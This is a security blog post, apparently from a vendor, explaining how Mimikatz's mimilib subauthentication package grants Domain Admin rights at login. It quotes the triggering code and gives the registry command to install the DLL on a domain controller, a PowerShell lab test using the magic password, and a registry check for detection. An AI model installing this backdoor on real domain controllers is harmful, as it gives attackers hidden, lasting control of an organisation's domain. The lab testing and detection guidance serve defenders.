A lot of my posts have covered Mimikatz and how it can be used to explore Active Directory and Windows security to learn how various attacks work. Recently, the author of Mimikatz released a new feature which exposes a new attack surface that could be used to create persistence within AD. This feature uses a subauthentication package to manipulate the Active Directory login process and escalate user privileges based on arbitrary conditions.
Basically, an attacker with access to your domain controllers can install a custom subauthentication package and then use unprivileged accounts to gain Domain Administrator rights whenever they want. In this post we will take a look at how this works and how you can test this out in your own lab.
I didn’t have any experience with subauthentication packages so my first stop was Microsoft’s documentation, where you can learn the basics of subauthentication packages:
A subauthentication package is a DLL that supplements or replaces part of the authentication and validation criteria used by the main authentication package. For example, a particular server might supply a subauthentication package that validates a user’s password with a different algorithm or specifies workstation restrictions in a different format.
That sounded pretty interesting. A DLL that is capable of replacing part of the authentication criteria used by Kerberos would be pretty powerful. That is exactly what Benjamin Delpy built and made available through Mimikatz. Let’s see what exactly that can do.
Mimikatz contains a DLL mimilib.dll. In the past, this has been used as one approach to create a Security Support Provider (SSP), which I covered in this post. In a more recent version of Mimikatz, this library has been extended to act as a subauthentication package. If you look at the code you can see two particular conditions have been added that will replace part of the authentication process.
if((UserAll->BadPasswordCount == 4) || (UserAll->NtPasswordPresent && RtlEqualMemory(UserAll->NtPassword.Buffer, myHash, min(sizeof(myHash), UserAll->NtPassword.Length))))
{
UserAll->PrimaryGroupId = 512;
klog(ksub_logfile, L" :)n");
}
Basically that is checking for two conditions:
If either condition is true, the user gets a primary group of 512 which is Domain Admins. That means any user at all just needs a bad password count of 4, and the next logon makes them a Domain Admin. Scary.
These are just two examples implemented by the author, but this can be customized to look at virtually anything as criteria to elevate a user to Domain Admin. So this is a legitimate approach to creating domain persistence. Now let’s take a look at how this works and how to set it up in your lab.
For these tests I used the following set up:
The first step is to copy the mimilib.dll file from the Mimikatz release into the C:WindowsSystem32 directory on your domain controller. In my lab I had only one DC for testing, but this would have to be copied to all DCs to achieve complete persistence for an attacker.
Next, you need to create a registry entry to tell Windows to use your subauthentication package:
reg add HKLMSYSTEMCurrentControlSetControlLsaKerberos /v Auth0 /t REG_SZ /d mimilib
Which should create this key in your registry:
After that you need to restart the Active Directory Domain Services service (at least in my testing) for this to begin to take effect.
Okay, now the subauthentication package is installed! Time to test it out and see if it worked.
For my test, I chose to focus on creating a user with the custom password Waza1234/admin. So I created a new user who had no special privileges and assigned them this special password.
Then I chose to write a script that does the following:
From there I compare the output to see if the user is not a Domain Admin, but becomes one after authentication occurs.
Here you can see the output of that test:
Here is the full script for your own testing:
##SUBAUTH TEST - SPECIAL PASSWORD
$subauthdomain = "gobias"
$subauthuser = "subauthpassword"
$subauthuserdomain = "gobiassubauthpassword"
$subauthpassword = "Waza1234/admin"
Write-Host -ForegroundColor Yellow "Testing Subauthentication Elevation for $subauthuser (PW = $subauthpassword)"
#Set credential for SubauthPassword test
$credential = New-Object System.Management.Automation.PsCredential($subauthuserdomain, (ConvertTo-SecureString $subauthpassword -AsPlainText -Force))
#Start-Process powershell -Credential $credential -RedirectStandardOutput whoami.txt -NoNewWindow
#Get user's real group membership from AD
Write-Host -ForegroundColor Yellow "Retrieving group membership for $subauthuser from Active Directory"
$membership = Get-ADPrincipalGroupMembership -Identity $subauthuser
Write-Host "Real Groups for $subauthuser"
$membership.name
Write-Host -ForegroundColor Yellow "Testing authentication as user $subauthuser by running Powershell as user and issuing whoami /groups command"
$process = Start-Process powershell -Credential $credential -Wait -ArgumentList '-command &{whoami /groups}' -RedirectStandardOutput whoami.txt
$groups = Get-Content whoami.txt
Write-Host -ForegroundColor Yellow "'whoami /groups' output for $subauthuser :"
$groups
$DomainAdminWhoami = $false
$DomainAdminAD = $false
if($groups -like '*Domain Admins*')
{
$DomainAdminWhoami = $true
}
foreach($group in $membership)
{
if($group.name -eq 'Domain Admins')
{
$DomainAdminAD = $true
}
}
if($DomainAdminWhoami -eq $true -and $DomainAdminAD -eq $false)
{
Write-Host -ForegroundColor Cyan "Subauthentication successful. $subauthuser is not a Domain Admin but is being given Domain Admin rights at login."
}
if($DomainAdminAD -eq $true)
{
Write-Host -ForegroundColor Cyan "$subauthuser is already a Domain Admin. Subauthentication test unsuccessful."
}
if($DomainAdminWhoami -eq $false -and $DomainAdminAD -eq $false)
{
Write-Host -ForegroundColor Yellow "Subauthentication unsuccessful. $subauthuser is not a Domain Admin and is not given Domain Admin rights at login."
}
While the best way to mitigate these types of attacks is to restrict Domain Controller logon rights and implement controls to prevent the compromise of privileged credentials, you should also look for signs of compromise.
You can do this with a basic check of the Auth0 registry key on all your domain controllers:
Get-ADDomainController | ForEach-Object {
Invoke-Command -computername $_ -ScriptBlock { Get-ItemProperty -path HKLM:SYSTEMCurrentControlSetControlLsaKerberos -name "Auth0" }
}
Which will produce this output:
To learn more about how to mitigate persistence attacks such as this one as well as others check out our Attack Site.
Jeff Warren is Stealthbits’ General Manager of Products. Jeff has held multiple roles within the Technical Product Management group since joining the organization in 2010, initially building Stealthbits’ SharePoint management offerings before shifting focus to the organization’s Data Access Governance solution portfolio as a whole. Before joining Stealthbits – now part of Netwrix, Jeff was a Software Engineer at Wall Street Network, a solutions provider specializing in GIS software and custom SharePoint development.
With deep knowledge and experience in technology, product and project management, Jeff and his teams are responsible for designing and delivering Stealthbits’ high quality, innovative solutions.
Jeff holds a Bachelor of Science degree in Information Systems from the University of Delaware.
Learn why Active Directory security should be a priority for your organization and ways to mitigate against a data breach with this free white paper!
Read more© 2022 Stealthbits Technologies, Inc.
Hi Jeff! Does the Forged PAC detection of StealthINTERCEPT provide insight to this attack? I would imagine so since this attack looks like it is injecting 512 into the pac, but the user is not actually being placed in domain admins, correct?
Hey Tim, Yes this is something that the Forged PAC detection would help out with. I actually didn’t test that detection while I was writing this post so I will go back into my lab and try it out and let you know how that test goes! Thanks for the comment, stay tuned.
Hey Tim, I had some time to test this out and we are able to detect this through StealthINTERCEPT 6.1 and the Forged PAC detection. We evaluate the PrimaryGroupID and identify it being forged for the user by evaluating their actual PriamryGroupID value.